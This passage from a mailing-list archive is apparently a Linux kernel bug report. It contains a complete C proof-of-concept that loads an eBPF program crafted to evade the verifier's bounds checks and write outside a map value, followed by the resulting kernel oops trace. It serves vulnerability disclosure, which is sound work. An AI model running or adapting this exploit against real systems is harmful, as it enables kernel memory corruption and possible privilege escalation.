        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = (__u32) (IMM) }),          \
    ((struct bpf_insn) {                    \
        .code  = 0, /* zero is reserved opcode */   \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_ALU32_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
    BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_ALU32_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_X,      \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_EXIT_INSN()                     \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_EXIT,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = 0 })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_REG_FP  BPF_REG_10
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_REG_TMP BPF_REG_8
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF)              \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = OFF,                   \
        .imm   = IMM })
#define BPF_MOV64_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_ALU64_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_MOV32_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_X,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
/* end from kernel */


int bpf_(int cmd, union bpf_attr *attrs) {
    return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

void array_set(int mapfd, uint32_t key, uint32_t value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key    = (uint64_t)&key,
        .value  = (uint64_t)&value,
        .flags  = BPF_ANY,
    };


    int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr);
    if (res)
        err(1, "map update elem");
}


int main(void) {
    union bpf_attr create_map_attrs = {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = 4,
        .max_entries = 16
    };
    int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
    if (mapfd == -1)
        err(1, "map create");


    array_set(mapfd, 1, 1);

    char verifier_log[100000];
    struct bpf_insn insns[] = {
        // r9 = 1[1,1] (checked)
        BPF_MOV64_IMM(BPF_REG_9, 1),

        // r0 = 2[?,?]
        BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),

        BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), /* allocate 4 bytes stack */
        BPF_MOV32_IMM(BPF_REG_ARG2, 1),
        BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP),
        BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
        BPF_MOV64_REG(BPF_REG_0, 0), /* prepare exit */
        BPF_EXIT_INSN(), /* exit */
        BPF_LDX_MEM(BPF_W, BPF_REG_1, BPF_REG_0, 0),

        // r9 = 1[0,1] (checked)
        BPF_ALU32_IMM(BPF_MOD, BPF_REG_1, 2),

        // r9 = 2[1,2] (checked)
        BPF_ALU32_IMM(BPF_ADD, BPF_REG_1, 1),

        // r9 = 0[1,2]
        BPF_ALU32_REG(BPF_AND, BPF_REG_9, BPF_REG_1),

        // r9 = 1[2,3]
        BPF_ALU32_IMM(BPF_ADD, BPF_REG_9, 1),

        // r9 = 0[1,1]
        BPF_ALU32_IMM(BPF_RSH, BPF_REG_9, 1),

        // r3 = 1[0, 0]
        BPF_MOV32_IMM(BPF_REG_3, 1),
        BPF_ALU32_REG(BPF_SUB, BPF_REG_3, BPF_REG_9),

        BPF_ALU32_IMM(BPF_MUL, BPF_REG_3, 0x10000000),

        BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_3),
        BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_TMP, 0),

        BPF_MOV64_REG(BPF_REG_0, 0), /* prepare exit */
        BPF_EXIT_INSN() /* exit */
    };
    union bpf_attr create_prog_attrs = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (uint64_t)insns,
        .license = (uint64_t)"",
        .log_level = 1,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log
    };
    int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
    if (progfd == -1) {
        perror("prog load");
        puts(verifier_log);
        return 1;
    }
    puts("ok so far?");

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
        err(1, "socketpair");
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
        err(1, "setsockopt");
    if (write(socks[1], "a", 1) != 1)
        err(1, "write");
    char c;
    if (read(socks[0], &c, 1) != 1)
        err(1, "read res");
    return 0;
}
=====================

Here's the output on my machine:

=====================
[11531.002114] BUG: unable to handle kernel paging request at ffff88021983a370
[11531.002119] IP: [<ffffffff8116db11>] __bpf_prog_run+0xf51/0x12f0
[11531.002125] PGD 2020067
[11531.002126] PUD 2023067
[11531.002127] PMD 0

[11531.002129] Oops: 0002 [#4] SMP
[11531.002131] Modules linked in: cfg80211 nfsd auth_rpcgss nfs_acl
nfs lockd grace fscache sunrpc ppdev sb_edac edac_core joydev pcspkr
snd_intel8x0 serio_raw snd_ac97_codec ac97_bus snd_pcm snd_timer snd
soundcore i2c_piix4 parport_pc parport evbug mac_hid video autofs4
hid_generic usbhid hid psmouse ahci libahci e1000 pata_acpi
[11531.002145] CPU: 0 PID: 1496 Comm: bounds_fail Tainted: G      D
     4.9.0-rc4 #6
[11531.002146] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS
VirtualBox 12/01/2006
[11531.002147] task: ffff880208d654c0 task.stack: ffffc900011f4000
[11531.002148] RIP: 0010:[<ffffffff8116db11>]  [<ffffffff8116db11>]
__bpf_prog_run+0xf51/0x12f0
[11531.002150] RSP: 0018:ffffc900011f7a60  EFLAGS: 00010202
[11531.002151] RAX: ffffc900011f7cbc RBX: ffffc90000ced0e0 RCX: ffff88021983a370
[11531.002151] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000001
[11531.002152] RBP: ffffc900011f7cd8 R08: ffffc900011f7ad0 R09: 0000000000000300
[11531.002153] R10: ffff88020b401280 R11: 0000000000000000 R12: ffffffff8181e6e0
[11531.002153] R13: 0000000000000000 R14: ffffc900011f7de8 R15: 0000000000000001
[11531.002155] FS:  00007f39b0804700(0000) GS:ffff880213c00000(0000)
knlGS:0000000000000000
[11531.002156] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[11531.002156] CR2: ffff88021983a370 CR3: 000000020998d000 CR4: 00000000000006f0
[11531.002160] Stack:
[11531.002161]  0000000000000000 ffff88021983a370 0000000000000002
ffffc900011f7cbc
[11531.002162]  0000000010000000 ffffc900011f7b10 ffffc900011f7ad0
ffffffff810b1d61
[11531.002164]  ffff880208d654c0 ffffc900011f7cbc 0000000000000000
ffffc900011f7cc0
[11531.002165] Call Trace:
[11531.002170]  [<ffffffff810b1d61>] ? update_curr+0x71/0x180
[11531.002172]  [<ffffffff810ad7ac>] ? __enqueue_entity+0x6c/0x70
[11531.002173]  [<ffffffff810b4302>] ? enqueue_entity+0x502/0xd40
[11531.002175]  [<ffffffff810ad7ac>] ? __enqueue_entity+0x6c/0x70
[11531.002176]  [<ffffffff810b4302>] ? enqueue_entity+0x502/0xd40
[11531.002178]  [<ffffffff810b5dbb>] ? check_preempt_wakeup+0x14b/0x210
[11531.002181]  [<ffffffff811f3863>] ? __kmalloc_node_track_caller+0x1c3/0x280
[11531.002185]  [<ffffffff816d2b8e>] ? __alloc_skb+0x7e/0x280
[11531.002186]  [<ffffffff816d0b71>] ? __kmalloc_reserve.isra.37+0x31/0x90
[11531.002188]  [<ffffffff816d2b5e>] ? __alloc_skb+0x4e/0x280
[11531.002189]  [<ffffffff816d2ba2>] ? __alloc_skb+0x92/0x280
[11531.002191]  [<ffffffff816d2dea>] ? alloc_skb_with_frags+0x5a/0x1c0
[11531.002193]  [<ffffffff813e3af8>] ? copy_from_iter+0x88/0x370
[11531.002197]  [<ffffffff81701c90>] sk_filter_trim_cap+0x70/0x1a0
[11531.002200]  [<ffffffff8178cd88>] unix_dgram_sendmsg+0x218/0x660
[11531.002204]  [<ffffffff816c9a38>] sock_sendmsg+0x38/0x50
[11531.002205]  [<ffffffff816c9ac8>] sock_write_iter+0x78/0xd0
[11531.002208]  [<ffffffff812167b4>] __vfs_write+0xc4/0x120
[11531.002210]  [<ffffffff81217572>] vfs_write+0xb2/0x1b0
[11531.002212]  [<ffffffff812188a6>] SyS_write+0x46/0xa0
[11531.002215]  [<ffffffff817f45fb>] entry_SYSCALL_64_fastpath+0x1e/0xad
[11531.002216] Code: 24 c4 0f b6 43 01 48 0f bf 53 02 48 83 c3 08 48
89 c1 c0 e8 04 83 e1 0f 83 e0 0f 48 8b 8c cd 90 fd ff ff 48 8b 84 c5
90 fd ff ff <89> 04 11 0f b6 03 41 ff 24 c4 0f b6 43 01 48 89 c2 c0 e8
04 83
[11531.002231] RIP  [<ffffffff8116db11>] __bpf_prog_run+0xf51/0x12f0
[11531.002233]  RSP <ffffc900011f7a60>
[11531.002233] CR2: ffff88021983a370
[11531.002235] ---[ end trace 86ae051962a2d276 ]---
=====================

^ permalink raw reply


This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.